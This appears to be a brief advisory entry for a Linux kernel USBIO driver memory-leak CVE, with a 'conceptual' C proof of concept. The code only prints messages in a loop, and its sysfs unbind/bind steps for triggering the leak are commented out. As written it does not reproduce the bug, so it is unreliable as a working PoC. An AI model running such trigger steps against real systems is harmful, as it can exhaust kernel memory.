CVE-2026-31757 Linux内核USBIO驱动内存泄漏漏洞

// Conceptual PoC to trigger memory leak in usbio driver // This requires a system with the vulnerable usbio module and a way to trigger probe failure. #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> // In a real scenario, this would involve interacting with the USB subsystem // to force usb_submit_urb() to fail inside usbio_probe(). int main() { printf("Attempting to trigger CVE-2026-31757 memory leak...\n"); // Loop to simulate repeated attempts to probe the device/trigger the failure path for (int i = 0; i < 1000; i++) { // Pseudo-code: Unbind and bind device or trigger hardware fault // system("echo '1-1' > /sys/bus/usb/drivers/usbio/unbind"); // system("echo '1-1' > /sys/bus/usb/drivers/usbio/bind"); // Check memory usage (simulated) // In a real exploit, monitor /proc/meminfo or slabinfo for URB leaks printf("Iteration %d: Triggering probe failure path...\n", i); usleep(10000); } return 0; }